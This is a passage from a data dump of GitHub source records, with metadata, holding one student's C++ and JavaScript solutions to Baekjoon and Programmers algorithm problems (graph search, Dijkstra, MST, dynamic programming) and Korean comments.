ANIMAL_ID\n```\n"},{"alpha_fraction":0.5125628113746643,"alphanum_fraction":0.5427135825157166,"avg_line_length":16.08571434020996,"blob_id":"ab72bd1760a2b00771075eea0cd3d4a60d8d85a9","content_id":"5fdb35e0b0b6ac0f0f478d35450e5750bf2f5038","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":603,"license_type":"no_license","max_line_length":58,"num_lines":35,"path":"/BOJ/Implementation/2503.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2503번: 카드\nDATE: 2022-03-11\n*/\n#include <iostream>\n#include <map>\n#include <vector>\n#include <algorithm>\n#define ll long long\nusing namespace std;\n\nmap<ll, ll> m;\n\nbool cmp(pair<ll,ll> a, pair<ll,ll> b){\n if(a.second == b.second) return a.first < b.first;\n return a.second > b.second;\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n ll n, a;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++){\n cin >> a;\n m[a]++;\n }\n\n vector<pair<ll,ll>> v(m.begin(), m.end());\n sort(v.begin(), v.end(), cmp);\n\n cout << v[0].first;\n\n return 0;\n}"},{"alpha_fraction":0.39282429218292236,"alphanum_fraction":0.4351426064968109,"avg_line_length":19.923076629638672,"blob_id":"4af821d581c24ae5e9717fda2ed02817845a4d17","content_id":"8a8d819fd9bf77f4b7ea7a0e2405d6346ca364a6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1275,"license_type":"no_license","max_line_length":83,"num_lines":52,"path":"/BOJ/Divide And Conquer/1992.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1992번: 쿼드트리\nDATE: 2022-02-14\nDivide And Conquer\n-\n0. 인자로 받은 (x, y)의 숫자로 체크함\n1. 해당 범위의 모든 수가 동일 => 숫자 출력\n2. 다른 수가 존재한다면 => 4등분해서 재귀\n 2-1. 재귀 전 여는 괄호, 끝난 후 닫는 괄호\n 2-2. 순서: 왼쪽 위 -> 오른쪽 위 -> 왼쪽 아래 -> 오른쪽 아래\n*/\n#include <iostream>\n#define MAX 64\nusing namespace std;\n\nint n;\nint arr[MAX][MAX];\n\nvoid solve(int size, int r, int c){\n int check = arr[r][c];\n int dr[4] = {0, 0, size / 2, size / 2};\n int dc[4] = {0, size / 2, 0, size / 2};\n\n for(int i = r ; i < r + size ; i++){\n for(int j = c ; j < c + size ; j++){\n if(arr[i][j] != check){\n printf(\"(\");\n for(int k = 0 ; k < 4 ; k++) solve(size / 2, r + dr[k], c + dc[k]);\n printf(\")\");\n\n return;\n }\n }\n }\n\n printf(\"%d\", check); // 해당 범위가 0 또는 1로만 이루어진 경우\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n scanf(\"%d\", &n);\n\n for(int i = 0 ; i < n ; i++){\n for(int j = 0 ; j < n ; j++){\n scanf(\"%1d\", &arr[i][j]);\n }\n }\n\n solve(n, 0, 0);\n\n return 0;\n}"},{"alpha_fraction":0.4931506812572479,"alphanum_fraction":0.521268904209137,"avg_line_length":22.133333206176758,"blob_id":"da8cbf673c076115a642c5aa726562a9eda687e0","content_id":"fabe5058e029e540ca0632e2f2dac05650cb265e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1405,"license_type":"no_license","max_line_length":94,"num_lines":60,"path":"/BOJ/Dijkstra/13549_2.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 13549번: 숨바꼭질 3\n2022-01-12\nDijkstra Algorithm ver.\n*/\n#include <iostream>\n#include <vector>\n#include <queue>\n#include <algorithm>\n#define MAX 100001\n#define INF 1e9\nusing namespace std;\n\nvector<pair<int,int>> graph[MAX];\nint sec[MAX];\nint mv[3] = {-1, 1, 2};\n\nvoid dijkstra(int start){\n priority_queue<pair<int,int>, vector<pair<int,int>>, greater<pair<int,int>>> pq; // 시간, 위치\n \n pq.push({0, start});\n sec[start] = 0;\n\n while(!pq.empty()){\n int curTime = pq.top().first;\n int curLocation = pq.top().second;\n int nextLocation, nextTime;\n pq.pop();\n\n if(curTime > sec[curLocation]) continue;\n for(int i = 0 ; i < 3 ; i++) {\n if(i < 2) {\n nextLocation = curLocation + mv[i];\n nextTime = sec[curLocation] + 1;\n }\n else {\n nextLocation = curLocation * 2;\n nextTime = sec[curLocation];\n }\n\n if(nextLocation < 0 || nextLocation > MAX - 1) continue;\n if(sec[nextLocation] > nextTime) {\n sec[nextLocation] = nextTime;\n pq.push({nextTime, nextLocation});\n }\n }\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, k;\n cin >> n >> k;\n\n fill(sec, sec + MAX, INF);\n dijkstra(n);\n cout << sec[k];\n\n return 0;\n}"},{"alpha_fraction":0.36186420917510986,"alphanum_fraction":0.38449472188949585,"avg_line_length":21.89230728149414,"blob_id":"7fce27d10e27569220cf9af2876f771820e2e123","content_id":"6c070943d1b3f283f944d42273e097bbb162182d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":4505,"license_type":"no_license","max_line_length":65,"num_lines":195,"path":"/BOJ/Implementation/3425.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 3452번: 고스택\nDATE: 2021-07-06\n*/\n#include <iostream>\n#include <vector>\n#define MAX 1000000000\n#define MIN -1000000000\nusing namespace std;\n\nvector<long long> stk, num;\nvector<string> command;\nlong long n;\n\nbool program()\n{\n int cnt = 0;\n\n //명령어 실행\n for (int i = 0; i < command.size(); i++)\n {\n if (command[i] == \"NUM\")\n {\n // num 벡터에 있는 값 사용\n stk.push_back(num[cnt++]);\n }\n else if (command[i] == \"POP\")\n {\n if (stk.size() < 1) return false;\n stk.pop_back();\n }\n else if (command[i] == \"INV\")\n {\n if (stk.size() < 1) return false;\n\n long long tmp = stk.back();\n tmp = -tmp;\n\n stk.pop_back();\n stk.push_back(tmp);\n }\n else if (command[i] == \"DUP\")\n {\n if (stk.size() < 1) return false;\n stk.push_back(stk.back());\n }\n else if (command[i] == \"SWP\")\n {\n if (stk.size() < 2) return false;\n\n long long tmp1 = stk.back();\n stk.pop_back();\n long long tmp2 = stk.back();\n stk.pop_back();\n\n stk.push_back(tmp1);\n stk.push_back(tmp2);\n }\n else if (command[i] == \"ADD\")\n {\n if (stk.size() < 2) return false;\n\n long long tmp1 = stk.back();\n stk.pop_back();\n long long tmp2 = stk.back();\n stk.pop_back();\n\n long long num = tmp1 + tmp2;\n if (num > MAX || num < MIN) return false;\n else stk.push_back(num);\n }\n else if (command[i] == \"SUB\")\n {\n if (stk.size() < 2) return false;\n\n long long tmp1 = stk.back();\n stk.pop_back();\n long long tmp2 = stk.back();\n stk.pop_back();\n\n long long num = tmp2 - tmp1;\n if (num > MAX || num < MIN) return false;\n else stk.push_back(num);\n }\n else if (command[i] == \"MUL\")\n {\n if (stk.size() < 2) return false;\n\n long long tmp1 = stk.back();\n stk.pop_back();\n long long tmp2 = stk.back();\n stk.pop_back();\n\n long long num = tmp1 * tmp2;\n if (num > MAX || num < MIN) return false;\n else stk.push_back(num);\n }\n else if (command[i] == \"DIV\")\n {\n if (stk.size() < 2) return false;\n\n long long tmp1, tmp2, num;\n tmp1 = stk.back();\n stk.pop_back();\n tmp2 = stk.back();\n stk.pop_back();\n\n if (tmp1 == 0) return false;\n\n if ((tmp1 > 0 && tmp2 > 0) || (tmp1 < 0 && tmp2 < 0))\n num = tmp2 / tmp1;\n else\n { //음수 한개\n num = abs(tmp2) / abs(tmp1);\n num = -num;\n }\n\n stk.push_back(num);\n }\n else if (command[i] == \"MOD\")\n {\n if (stk.size() < 2) return false;\n\n long long tmp1, tmp2, num;\n tmp1 = stk.back();\n stk.pop_back();\n tmp2 = stk.back();\n stk.pop_back();\n\n if (tmp1 == 0)\n return false;\n\n if (tmp2 < 0)\n {\n num = abs(tmp2) % tmp1;\n num = -num;\n }\n else if (tmp2 > 0)\n {\n num = tmp2 % tmp1;\n }\n\n stk.push_back(num);\n }\n }\n\n return true;\n}\n\nint main()\n{\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n\n while (1)\n {\n string str;\n command.clear();\n num.clear();\n\n while (1)\n {\n cin >> str;\n if (str == \"END\") break;\n else if (str == \"QUIT\") return 0;\n else if (str == \"NUM\")\n {\n int a;\n cin >> a;\n command.push_back(str);\n num.push_back(a);\n }\n else\n command.push_back(str);\n }\n\n cin >> n;\n \n for (int i = 0; i < n; i++)\n {\n int input;\n cin >> input;\n\n stk.clear();\n stk.push_back(input);\n\n if (!program() || stk.size() != 1)\n cout << \"ERROR\\n\";\n else\n cout << stk[0] << '\\n';\n }\n cout << '\\n';\n }\n\n return 0;\n}"},{"alpha_fraction":0.38449999690055847,"alphanum_fraction":0.4074999988079071,"avg_line_length":22,"blob_id":"a7e571b8e5de2bb7ece58be10f379e098d140f66","content_id":"04fc6bbd89b6129304ee2a5f78c8b612fb9c4ea9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2130,"license_type":"no_license","max_line_length":71,"num_lines":87,"path":"/BOJ/Implementation/15686.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 15686번: 치킨 배달\nDATE: 2021-04-17\n*/\n#include <iostream>\n#include <vector>\n#include <queue>\n#include <cstdlib>\nusing namespace std;\n\nvector<pair<int, int>> cv; //치킨집\nvector<pair<int, int>> hv; //집\npair<int, int> p[13]; //조합한 치킨집\npriority_queue<int, vector<int>, greater<int>> pq;\nint city[51][51];\nint n, m, dst, new_dst, c_dst;\n\nvoid combination(int depth, int next){ //순서X, 중복X\n if(depth == m){ //치킨거리 구하기\n c_dst = 0;\n \n for(int i = 0 ; i < hv.size() ; i++){\n int x = hv[i].first;\n int y = hv[i].second;\n dst = 100;\n \n for(int j = 0 ; j < m ; j++){\n new_dst = abs(x - p[j].first) + abs(y - p[j].second);\n dst = min(dst, new_dst);\n }\n c_dst += dst;\n }\n\n pq.push(c_dst);\n\n return;\n }\n\n for(int i = next ; i <= cv.size() ; i++){\n p[depth] = cv[i - 1];\n combination(depth + 1, i + 1);\n }\n}\n\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n cin >> n >> m;\n\n for(int i = 1 ; i <= n ; i++){\n for(int j = 1 ; j <= n ; j++){\n cin >> city[i][j];\n\n if(city[i][j] == 1) {\n hv.push_back(make_pair(i, j)); //집(1) 위치\n }\n else if(city[i][j] == 2){\n cv.push_back(make_pair(i, j)); //치킨집(2) 위치\n }\n }\n }\n\n if(m == cv.size()){ //바로 치킨 거리 구하기\n c_dst=0;\n\n for(int i = 0 ; i < hv.size() ; i++){\n int x = hv[i].first;\n int y = hv[i].second;\n dst = 100;\n \n for(int k = 0 ; k < cv.size() ; k++){\n new_dst = abs(x - cv[k].first) + abs(y - cv[k].second);\n dst = min(dst, new_dst);\n }\n\n c_dst += dst;\n }\n }\n else{ //치킨 가게가 최대 m개 있어야하는 경우: cv.size()개 중에 m개를 선택하는 조합 \n combination(0, 1);\n c_dst = pq.top();\n }\n\n cout << c_dst;\n\n return 0;\n}"},{"alpha_fraction":0.4762253165245056,"alphanum_fraction":0.49890270829200745,"avg_line_length":18,"blob_id":"c471533b4acca44711b7be092898010a2ee90018","content_id":"d719a1699f76782532e8c682f4456ea73e0ffe96","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1383,"license_type":"no_license","max_line_length":58,"num_lines":72,"path":"/BOJ/MST/14621.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 14621번: 나만 안되는 연애\nDATE: 2022-03-03\nKruskal Algorithm\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\n#define MAX 1001\nusing namespace std;\n\nchar gender[MAX];\nvector<pair<int, pair<int,int>>> edge;\nint parent[MAX];\n\nint getParent(int x){\n if(x == parent[x]) return x;\n return parent[x] = getParent(parent[x]);\n}\n\nint findParent(int a, int b){\n a = getParent(a);\n b = getParent(b);\n\n if(a == b) return 1;\n else return 0;\n}\n\nvoid unionParent(int a, int b){\n a = getParent(a);\n b = getParent(b);\n\n if(a < b) parent[b] = a;\n else parent[a] = b;\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, m, ans = 0, cnt = 0;\n int a, b, c;\n char ch;\n\n cin >> n >> m;\n \n for(int i = 1 ; i <= n ; i++) cin >> gender[i];\n\n for(int i = 0 ; i < m ; i++){\n cin >> a >> b >> c;\n edge.push_back({c, {a, b}});\n }\n\n sort(edge.begin(), edge.end());\n\n for(int i = 1 ; i <= n ; i++) parent[i] = i;\n\n for(int i = 0 ; i < edge.size() ; i++){\n int x = edge[i].second.first;\n int y = edge[i].second.second;\n int z = edge[i].first;\n\n if(gender[x] != gender[y] && !findParent(x, y)){\n unionParent(x, y);\n ans += z;\n cnt++;\n }\n }\n\n if(cnt < n - 1) cout << -1;\n else cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.3427331745624542,"alphanum_fraction":0.36616051197052,"avg_line_length":24.065217971801758,"blob_id":"0387f6e6a84f2ba88b16253982e25559d7c84d3a","content_id":"b93959f694032cf12bf0eaca674785064e7fca04","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2381,"license_type":"no_license","max_line_length":71,"num_lines":92,"path":"/BOJ/Brute Force/7490.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 7490번: 0 만들기\n2021-12-20\nBrute force ver.\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nvector<string> ans;\nint input, n, r;\nint dpArr[8] = {0,};\n\nvoid duplicatePermutation(int depth) {\n if(depth == r) { // 0: 더하기 1: 빼기 2: 붙이기\n int sum = 0, cnt = 0;\n string calc = \"1\", origin = \"1\", tmp;\n\n for(int i = 1 ; i <= r ; i++) {\n if(dpArr[i - 1] == 0) {\n tmp = \"+\" + to_string(i + 1);\n calc += tmp; origin += tmp;\n }\n else if(dpArr[i - 1] == 1) {\n tmp = \"-\" + to_string(i + 1);\n calc += tmp; origin += tmp;\n }\n else {\n calc += to_string(i + 1);\n origin += \" \" + to_string(i + 1);\n }\n }\n\n for(int i = 0 ; i < calc.length() ; i++) {\n tmp.clear();\n cnt = 0;\n\n if(isdigit(calc[i])) {\n while(isdigit(calc[i])){\n tmp += calc[i++];\n cnt++;\n }\n \n i--;\n\n if(cnt == 1) {\n if(calc[i - cnt] == '+') sum += calc[i] - '0';\n else if(calc[i - cnt] == '-') sum -= calc[i] - '0';\n else sum = calc[i] - '0';\n }\n else if(cnt > 1) {\n if(calc[i - cnt] == '+') sum += stoi(tmp);\n else if(calc[i - cnt] == '-') sum -= stoi(tmp);\n else sum = stoi(tmp);\n }\n }\n }\n\n if(sum == 0) ans.push_back(origin);\n return;\n }\n\n for(int i = 1 ; i <= n ; i++) {\n dpArr[depth] = i - 1;\n duplicatePermutation(depth + 1);\n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \n int tc, input;\n cin >> tc;\n\n for(int i = 0 ; i < tc ; i++) {\n ans.clear();\n for(int j = 0 ; j < r ; j++) dpArr[j] = 0;\n\n cin >> input; // 1부터 n까지의 정수들\n\n n = 3; // + - 공백\n r = input - 1; // 연산자 개수\n\n duplicatePermutation(0); // 중복 순열\n\n sort(ans.begin(), ans.end()); // ASCII 순서에 따라 출력\n for(int j = 0 ; j < ans.size() ; j++) cout << ans[j] << \"\\n\";\n cout << '\\n';\n }\n\n return 0;\n}"},{"alpha_fraction":0.44594594836235046,"alphanum_fraction":0.4797297418117523,"avg_line_length":14.028985977172852,"blob_id":"ceacfca307fbecda5d189582ef6eca34c9bb8972","content_id":"b0387a6fb0da42ad9f05b9ad88bdc67dd168902e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1040,"license_type":"no_license","max_line_length":55,"num_lines":69,"path":"/BOJ/BFS_DFS/1260.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*BOJ 1260번: DFS와 BFS\nDATE: 2021-05-19\n*/\n#include <iostream>\n#include <queue>\n#define MAX 1001\n\nusing namespace std;\nint arr[MAX][MAX];\nbool visited[MAX] = { false, };\nint n, m, v;\n\nvoid dfs(int node) {\n\tvisited[node] = true;\n\tcout << node << \" \"; \n\n\tfor (int i = 1 ; i <= n ; i++) {\n\t\tif (arr[node][i] == 1 && visited[i] == false) { \n\t\t\tdfs(i); \n\t\t}\n\t}\n}\n\nvoid bfs(int node) {\n\tqueue <int> q;\n \n\tq.push(node); \n\tvisited[node] = true; \n\n\tcout << node << \" \"; \n\n\twhile (!q.empty()) { \n int front = q.front(); \n\t\tq.pop();\n\n\t\tfor (int i = 1; i <= n; i++) {\n\t\t\tif (arr[front][i] == 1 && visited[i] == false) {\n\t\t\t\tq.push(i);\n\t\t\t\tvisited[i] = true;\n\t\t\t\tcout << i << \" \"; \n\t\t\t}\n\t\t}\n\t}\n\n}\n\nint main() {\n\tios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n\n\tcin >> n >> m >> v;\n\n\tfor (int i = 0; i < m; i++) { \n\t\tint num1, num2;\n\t\tcin >> num1 >> num2;\n\t\tarr[num1][num2] = arr[num2][num1] = 1;\n\t}\n\n //DFS \n\tdfs(v);\n\tcout << \"\\n\";\n\n\tfor(int i = 0 ; i < MAX ; i++)\n\t\tvisited[i] = { false, };\n\n //BFS \n\t//bfs(v); \n\n\treturn 0;\n}"},{"alpha_fraction":0.44732576608657837,"alphanum_fraction":0.5235008001327515,"avg_line_length":21.88888931274414,"blob_id":"ac291b73a8c4df950d504d9a884396a5a970f949","content_id":"46d8b372677b9eb979cea17e0ce74a47a458ad12","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":619,"license_type":"no_license","max_line_length":83,"num_lines":27,"path":"/BOJ/Dynamic Programming/9251.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 9251번: LCS\nDATE: 2021-08-01\nDynamic Programming (Longest Common Subsequence)\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint dp[1001][1001];\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \n string str1, str2;\n cin >> str1 >> str2;\n\n for(int i = 1 ; i <= str2.size() ; i++){\n for(int j = 1 ; j <= str1.size() ; j++){\n if(str2[i-1] == str1[j-1]) dp[i][j] = dp[i-1][j-1] + 1;\n else if(str2[i-1] != str1[j-1]) dp[i][j] = max(dp[i][j-1], dp[i-1][j]);\n }\n }\n\n cout << dp[str2.length()][str1.length()];\n\n return 0;\n}"},{"alpha_fraction":0.5469169020652771,"alphanum_fraction":0.5871313810348511,"avg_line_length":19.77777862548828,"blob_id":"8b021d9cc40a85135bd20115ff968d14c0f77e5d","content_id":"bac6ccadff2b3f53e8b248430704b810faa54359","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":427,"license_type":"no_license","max_line_length":69,"num_lines":18,"path":"/programmers/Level 2/camouflage.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 2: 위장\ndate: 2022-02-28\n*/\n#include <vector>\n#include <map>\nusing namespace std;\n\nint solution(vector<vector<string>> clothes) {\n int answer = 1;\n map<string, int> m;\n \n for(vector<string> v : clothes) m[v[1]] += 1;\n \n for(auto i : m) answer *= i.second + 1; // +1: 해당 종류를 입지 않는 경우 추가\n \n return answer - 1; // 아무 옷도 입지 않은 경우 제외\n}"},{"alpha_fraction":0.43633952736854553,"alphanum_fraction":0.45888593792915344,"avg_line_length":19.95833396911621,"blob_id":"847d61ff3c281d422df24b8696137b96620ed30d","content_id":"d894a83803352dee974ab4b7dfa64d8ede7c4a4b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1514,"license_type":"no_license","max_line_length":63,"num_lines":72,"path":"/programmers/Level 1/failure_rate.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//programmers Level 1: 실패율\n//2019 KAKAO BLIND RECRUITMENT\n//2021-10-04\n#include <iostream>\n#include <algorithm>\n#include <vector>\n#include <map>\nusing namespace std;\n\nbool cmp(pair<double, int>a, pair<double, int>b) {\n \tif (a.first == b.first) {\n\t\treturn a.second < b.second;\n\t}\n\telse {\n\t\treturn a.first > b.first;\n\t}\n \n}\n\nvector<int> solution(int N, vector<int> stages) {\n vector<pair<double, int>> res(N);\n vector<int> answer;\n map<int, int> m;\n int idx = 0, total = stages.size(); \n int max = *max_element(stages.begin(), stages.end());\n\n sort(stages.begin(), stages.end());\n \n for(int i = 1 ; i <= max ; i++) {\n int cnt = 0;\n \n for(int j = idx ; j < stages.size() ; j++) {\n if(stages[j] == i) cnt++;\n else {\n idx = j;\n break;\n }\n }\n\n m.insert({i, cnt});\n }\n \n for(int i = 0 ; i < N ; i++) {\n total -= m[i];\n \n if(total <= 0) {\n res[i] = make_pair(0, i + 1);\n continue;\n }\n \n double num = double(m[i+1]) / total;\n res[i] = make_pair(num, i + 1);\n }\n \n sort(res.begin(), res.end(), cmp);\n \n for(int i = 0 ; i < res.size() ; i++) {\n answer.push_back(res[i].second);\n }\n \n return answer;\n}\n\nint main() {\n vector<int> answer = solution(5, {2, 1, 2, 6, 2, 4, 3, 3});\n \n for(int i = 0 ; i < answer.size() ; i++) {\n cout << answer[i] << \" \";\n }\n\n return 0;\n}"},{"alpha_fraction":0.5630885362625122,"alphanum_fraction":0.5725046992301941,"avg_line_length":22.130434036254883,"blob_id":"4335651996ef30c57aefbc13365b34302fd96f8a","content_id":"02fdab540ccb45e2cad8939f21032ffc5faf46be","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":539,"license_type":"no_license","max_line_length":81,"num_lines":23,"path":"/programmers/Level 2/the_biggest_number.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"// programmers Level 2: 가장 큰 수\n#include <string>\n#include <vector>\n#include <algorithm>\n#include <iostream>\nusing namespace std;\n\nbool cmp(string &a, string &b){\n return a + b > b + a;\n}\n\nstring solution(vector<int> numbers) {\n string answer = \"\";\n vector<string> v;\n \n for(int i = 0 ; i < numbers.size() ; i++) v.push_back(to_string(numbers[i]));\n sort(v.begin(), v.end(), cmp);\n\n for(int i = 0 ; i < v.size() ; i++) answer += v[i];\n answer = answer.front() == '0' ? \"0\" : answer;\n \n return answer;\n}"},{"alpha_fraction":0.466292142868042,"alphanum_fraction":0.49719101190567017,"avg_line_length":17.763158798217773,"blob_id":"b10e43ecd678df8dfe5721035e4d6d26c316d403","content_id":"fd58409ed28cb452913363b2a815d9798ffe3d06","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":722,"license_type":"no_license","max_line_length":69,"num_lines":38,"path":"/BOJ/Two Pointer/1484.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1484번: 다이어트\n2021-12-28\nTwo pointer\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int g;\n cin >> g;\n\n int arr[g];\n int start = 0, end = 0;\n vector<int> ans;\n\n for(int i = 0 ; i < g ; i++) arr[i] = i + 1;\n\n while(end < g) {\n int weight = arr[end] * arr[end] - arr[start] * arr[start];\n\n if(weight == g) ans.push_back(arr[end]);\n\n if(weight < g) end++;\n else start++;\n }\n\n if(ans.empty()) cout << -1;\n else {\n sort(ans.begin(), ans.end());\n for(int i = 0 ; i < ans.size() ; i++) cout << ans[i] << '\\n';\n }\n\n return 0;\n}"},{"alpha_fraction":0.5112782120704651,"alphanum_fraction":0.5357142686843872,"avg_line_length":21.20833396911621,"blob_id":"d08fa2b984526e45e4885e647c7b70e62d4acd8b","content_id":"d38d03d549bf79c05735d41f0ee20b7b5107527d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":562,"license_type":"no_license","max_line_length":72,"num_lines":24,"path":"/programmers/Level 2/open_chat_room.js","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 2: Open chat room\n2019 KAKAO BLIND RECRUITMENT\n2021-12-21\n*/\nfunction solution(record) {\n const answer = [];\n const user = {};\n\n record.forEach((item) => {\n const [state, uid, nick] = item.split(' ');\n\n if (state !== 'Leave') user[uid] = nick\n })\n\n record.forEach((item) => {\n const [state, uid, nick] = item.split(' ');\n\n if (state === 'Enter') answer.push(`${user[uid]}님이 들어왔습니다.`)\n else if (state === 'Leave') answer.push(`${user[uid]}님이 나갔습니다.`)\n })\n\n return answer;\n}"},{"alpha_fraction":0.39094650745391846,"alphanum_fraction":0.44238683581352234,"avg_line_length":17.730770111083984,"blob_id":"e3422d7dd997c33bb574869423bcf277fc0ea90a","content_id":"8e49bb112a4fe50acfa63803e192e199b1a748e2","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":500,"license_type":"no_license","max_line_length":63,"num_lines":26,"path":"/BOJ/Prefix Sum/11659.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 11659번: 구간 합 구하기 4\nDATE: 2022-01-21\nPrefix Sum\n*/\n#include <iostream>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, m;\n int a, b;\n cin >> n >> m;\n\n int arr[n + 1] = {0, };\n\n for(int i = 1 ; i <= n ; i++) cin >> arr[i];\n for(int i = 1 ; i <= n ; i++) arr[i] = arr[i - 1] + arr[i];\n\n for(int i = 0 ; i < m ; i++) {\n cin >> a >> b;\n cout << arr[b] - arr[a - 1] << '\\n';\n }\n\n return 0;\n}"},{"alpha_fraction":0.3680981695652008,"alphanum_fraction":0.39614373445510864,"avg_line_length":19.763635635375977,"blob_id":"4fe2dfb345cf1bb89613d5ed213fc7386e2e1ff2","content_id":"bc1a8c00d1413daa82b8fc52619c3e938b149e83","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1155,"license_type":"no_license","max_line_length":58,"num_lines":55,"path":"/BOJ/Graph Theory/2623.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2623번: 음악프로그램\nDATE: 2021-03-04\n*/\n#include <iostream>\n#include <vector>\n#include <queue>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, m;\n cin >> n >> m;\n\n int inDegree[n+1] = {0,}, result[n+1];\n vector<int> a[n+1];\n queue<int> q;\n\n for(int i = 0 ; i < m ; i++){\n int num; cin >> num;\n int arr[num];\n for(int j = 0 ; j < num ; j++){\n cin >> arr[j];\n }\n for(int k = 1 ; k < num ; k++){\n a[arr[k-1]].push_back(arr[k]);\n inDegree[arr[k]]++;\n }\n }\n\n for(int i = 1 ; i <= n ; i++){\n if(inDegree[i] == 0) q.push(i);\n }\n\n for(int i = 1 ; i <= n ; i++){\n if(q.empty()){\n cout << 0;\n return 0;\n }\n int front = q.front();\n q.pop();\n result[i] = front;\n for(int i = 0 ; i < a[front].size() ; i++){\n int next = a[front][i];\n if(--inDegree[next] == 0) \n q.push(next);\n }\n }\n//\n for(int i = 1 ; i <= n ; i++){\n cout << result[i] << \"\\n\";\n }\n\n return 0;\n}"},{"alpha_fraction":0.42069485783576965,"alphanum_fraction":0.4478851854801178,"avg_line_length":20.03174591064453,"blob_id":"e751b907e86a5f64d0f8b7fb4557980fc23094ef","content_id":"3fb91dc51062bcb39dc8f03040e866681df53b46","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1352,"license_type":"no_license","max_line_length":69,"num_lines":63,"path":"/BOJ/BFS_DFS/9177.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 9177번: 단어 섞기\nDATE: 2021-09-19\n*/\n#include <iostream>\nusing namespace std;\n\nstring a, b, c;\nint n, a_length, b_length, c_length;\nbool flag;\n\nbool check() {\n int alpha[27] = {0,};\n\n for(int i = 0 ; i < a_length ; i++){\n alpha[a[i] - 'a']++;\n }\n for(int i = 0 ; i < b_length ; i++){\n alpha[b[i] - 'a']++;\n }\n for(int i = 0 ; i < c_length ; i++){\n alpha[c[i] - 'a']--;\n }\n for(int i = 0 ; i < 26 ; i++){\n if(alpha[i] != 0) \n return false;\n }\n\n return true;\n}\n\nvoid backtracking(int a_idx, int b_idx, int c_idx){\n if(flag) {\n return; //이거 안하면 시간초과 (ex a / aba / aaba)\n }\n if(c_idx == c_length) {\n flag = true;\n return;\n }\n\n if(a[a_idx] == c[c_idx]) backtracking(a_idx + 1, b_idx, c_idx+1);\n if(b[b_idx] == c[c_idx]) backtracking(a_idx, b_idx+1, c_idx+1);\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \n cin >> n;\n\n for(int i = 0 ; i < n ; i++){\n flag = false;\n cin >> a >> b >> c;\n a_length = a.length(); \n b_length = b.length();\n c_length = c.length();\n\n if(check()) backtracking(0, 0, 0);\n \n if(flag) cout << \"Data set \" << i + 1 << \": yes\\n\";\n else cout << \"Data set \" << i + 1 << \": no\\n\";\n }\n\n return 